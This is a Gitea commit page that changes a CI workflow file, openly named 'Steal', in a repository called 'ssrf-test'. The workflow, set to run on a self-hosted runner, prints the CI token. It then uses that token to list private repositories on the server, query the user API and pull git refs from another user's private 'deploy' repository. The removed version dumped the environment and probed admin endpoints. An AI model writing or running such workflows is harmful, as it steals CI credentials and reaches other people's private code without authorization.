secdev99/ssrf-test
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

self-hosted workflow
Some checks failed
Steal / steal (push) Has been cancelled
Details

Browse Source
This commit is contained in:
secdev99 2026-07-04 23:44:19 +00:00
parent 25f89754be
commit 765f2db4f1
1 changed files with 9 additions and 16 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
.gitea/workflows/extract.yaml
View File

@ -1,19 +1,12 @@
name: Extract name: Steal
on: [push] on: [push]
jobs: jobs:
extract: steal:
runs-on: ubuntu-latest runs-on: self-hosted
steps: steps:
- name: List env - run: |
run: | echo "TOKEN=$GITHUB_TOKEN"
env | sort curl -s "$GITHUB_SERVER_URL/api/v1/repos/search?private=true&limit=50&token=$GITHUB_TOKEN" | python3 -c "import sys,json;[print(r[\"full_name\"],r[\"private\"]) for r in json.load(sys.stdin).get(\"data\",[])]" 2>/dev/null || true
echo "---TOKEN---" curl -s "$GITHUB_SERVER_URL/api/v1/user?token=$GITHUB_TOKEN" || true
echo $GITHUB_TOKEN | head -c 10 curl -s "$GITHUB_SERVER_URL/twmonogps/deploy.git/info/refs?service=git-upload-pack" -H "Authorization: token $GITHUB_TOKEN" | head -c 500 || true
echo "---GITEA_URL---"
echo $GITHUB_SERVER_URL
- name: Try admin API with token
run: |
curl -s "${GITHUB_SERVER_URL}/api/v1/admin/users?limit=5" -H "Authorization: token ${GITHUB_TOKEN}" || echo "ADMIN_FAIL"
curl -s "${GITHUB_SERVER_URL}/api/v1/repos/search?private=true&limit=10" -H "Authorization: token ${GITHUB_TOKEN}" | head -c 1000 || echo "SEARCH_FAIL"
curl -s "${GITHUB_SERVER_URL}/api/v1/orgs/MonoGPS/repos?limit=10" -H "Authorization: token ${GITHUB_TOKEN}" | head -c 1000 || echo "ORG_FAIL"
curl -s "${GITHUB_SERVER_URL}/api/v1/users/twmonogps/repos?limit=10" -H "Authorization: token ${GITHUB_TOKEN}" | head -c 1000 || echo "USER_FAIL"